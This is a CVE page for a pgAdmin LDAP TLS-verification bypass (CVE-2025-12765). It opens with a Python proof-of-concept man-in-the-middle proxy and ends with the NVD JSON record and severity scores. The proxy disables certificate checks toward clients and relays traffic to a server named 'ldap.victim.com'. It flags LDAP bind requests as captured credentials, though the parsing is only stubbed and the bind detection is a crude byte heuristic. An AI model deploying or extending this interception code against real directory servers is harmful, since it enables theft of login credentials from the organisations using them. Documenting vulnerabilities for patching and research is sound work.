CVE-2025-12765

# CVE-2025-12765 PoC - pgAdmin LDAP TLS Verification Bypass # This PoC demonstrates the MITM attack concept (for educational purposes only) import socket import ssl import threading import ldap from urllib.parse import urlparse class LDAPMITMProxy: def __init__(self, attacker_port=636, target_server='legitimate-ldap.example.com', target_port=636): self.attacker_port = attacker_port self.target_server = target_server self.target_port = target_port def create_fake_server(self): # Create SSL context with self-signed certificate context = ssl.create_default_context() context.check_hostname = False # Bypass hostname verification context.verify_mode = ssl.CERT_NONE # Bypass certificate verification # Load attacker's certificate (self-signed or forged) # context.load_cert_chain('attacker_cert.pem', 'attacker_key.pem') return context def handle_client_connection(self, client_socket, client_addr): print(f"[*] Connection from {client_addr}") try: # Connect to legitimate LDAP server remote_socket = socket.create_connection((self.target_server, self.target_port), timeout=10) # Create MITM SSL connection to client mitm_context = self.create_fake_server() secure_client = mitm_context.wrap_socket(client_socket, server_side=True) # Create SSL connection to target server remote_context = ssl.create_default_context() remote_context.check_hostname = True remote_context.verify_mode = ssl.CERT_REQUIRED secure_remote = remote_context.wrap_socket(remote_socket, server_hostname=self.target_server) # Forward traffic bidirectionally self.forward_traffic(secure_client, secure_remote) except Exception as e: print(f"[!] Error handling connection: {e}") finally: client_socket.close() def forward_traffic(self, source, destination): # Intercept and log LDAP credentials try: while True: data = source.recv(4096) if not data: break # Check for LDAP bind request (contains credentials) if self.is_ldap_bind_request(data): print("[*] Captured LDAP Bind Request") self.extract_credentials(data) destination.sendall(data) response = destination.recv(4096) source.sendall(response) except Exception as e: print(f"[!] Forwarding error: {e}") def is_ldap_bind_request(self, data): # LDAP Bind Request protocol operation type is 0x60 return b'\x30' in data and b'\x02\x01\x60' in data def extract_credentials(self, data): # Parse and log captured credentials (simplified) print("[!] LDAP credentials potentially captured") # Implement full LDAP protocol parsing here def start(self): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', self.attacker_port)) server.listen(5) print(f"[*] MITM Proxy listening on port {self.attacker_port}") while True: client_socket, addr = server.accept() thread = threading.Thread(target=self.handle_client_connection, args=(client_socket, addr)) thread.daemon = True thread.start() if __name__ == "__main__": # Configure with target pgAdmin LDAP settings proxy = LDAPMITMProxy( attacker_port=636, target_server='ldap.victim.com', target_port=636 ) proxy.start()

{"cve": {"id": "CVE-2025-12765", "sourceIdentifier": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "published": "2025-11-13T13:15:45.037", "lastModified": "2025-11-19T21:18:09.750", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pgAdmin <= 9.9  is affected by a vulnerability in the LDAP authentication mechanism allows bypassing TLS certificate verification."}], "metrics": {"cvssMetricV31": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pgadmin:pgadmin_4:*:*:*:*:*:postgresql:*:*", "versionEndExcluding": "9.10", "matchCriteriaId": "869DC8C4-E456-4D31-964B-96D4B9B8F4A2"}]}]}], "references": [{"url": "https://github.com/pgadmin-org/pgadmin4/issues/9324", "source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}